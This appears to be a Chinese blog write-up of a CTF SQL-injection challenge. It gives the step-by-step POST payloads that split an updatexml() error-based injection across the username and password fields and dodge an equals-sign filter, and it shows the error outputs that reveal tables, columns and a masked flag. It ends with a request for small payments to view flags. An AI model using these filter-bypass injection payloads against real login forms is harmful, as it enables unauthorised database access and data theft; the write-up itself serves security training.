打开页面看到有tips:post username and password...,然后查看页面源代码,能够看到sql语句:

<!-- $sql="select * from users where username='$username' and password='$password'";  -->

,我们可以看到,password就直接存储到数据库里了,并没有经过md5加密。我们先尝试直接post:username=1&password=1,页面返回的是login failed登录失败。我们再尝试一下增加一个单引号:username=1'&password=1,能够看到页面返回了报错信息,说明不出意外是存在报错注入的。我们尝试绕过,直接登录成功:username=\&password=or'1,结果页面只是显示:

You are our member, welcome to enter

看来并不是登陆成功就有flag,我们得想办法得到数据库里的其他信息。

上面说了应该是存在报错注入的,我们先试一下看看有没有过滤updatexml:username=updatexml()&password=or'1,页面显示

User name unknow error.

明确给出了用户名出错,我们再去掉括号试试:username=updatexml&password=or'1,页面出现报错,这是好现象,说明username过滤了括号,而没有过滤报错函数。通过测试,得到后面的password字段过滤了所有的报错函数。我们可以使用HPF(HTTP分割注入),即这样post数据:username='and updatexml/*&password=*/(1,concat(0x23,database()),3) and '1,页面成功显示报错,得到数据库:XPATH syntax error: '#error_based_hpf'我们来分析一下,post上面的数据之后,sql语句就变成了:

select * from users where username=''and updatexml/*' and password='*/(1,concat(0x23,database()),3) and '1'
在/*     */中间的语句被注释,直接忽略掉,所以成功构造了一个报错注入语句,得到数据库。
接下来就按照这种方式继续注入:
username='and updatexml/*&password=*/(1,concat(0x23,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3) and '1
结果得到

Sql injection detected


经过尝试,一点一点的删除,发现过滤的是等号,想用like绕过,结果like也被过滤。在mysql中,<>是不等于,所以!<>就是等于,用这种方式可以成功绕过:
username='and updatexml/*&password=*/(1,concat(0x23,(select group_concat(table_name)from information_schema.tables where !(table_schema<>database()))),3) and '1
成功得到表名:XPATH syntax error: '#ffll44jj,users'
继续注入:username='and updatexml/*&password=*/(1,concat(0x23,(select group_concat(column_name)from information_schema.columns where !(table_schema<>database()) and !(table_name<>'ffll44jj') )),3) and '1
成功得到列名:XPATH syntax error: '#value'
继续注入,得到flag:username='and updatexml/*&password=*/(1,concat(0x23,(select value from ffll44jj )),3) and '1
成功得到flag:XPATH syntax error: '#flag{****************}'(人为打码~~~~~) 

Flag:

温馨提示: 此处内容需要评论本文后刷新才能查看,支付2元即可直接查看所有Flag。

小广告:关于获取西普实验吧所有Flag请点击这里查看索引

查看所有Flag文章需要输入密码,需要获取文章密码的童鞋请扫描下面微信或支付宝二维码捐助至少2元(老哥,捐多捐少是个缘分)之后发送支付凭证号联系我获取,Flag大全地址:Flag大全

新功能:捐款的小伙伴请联系我把自己的注册邮箱加入网站白名单,可以免回复看到本站所有Flag

PS:本站不是实验吧的官方站点,纯粹是个人博客,收取Flag费用仅是维持服务器费用,做站不易,且行窃珍惜!

微信二维码:
支付宝二维码: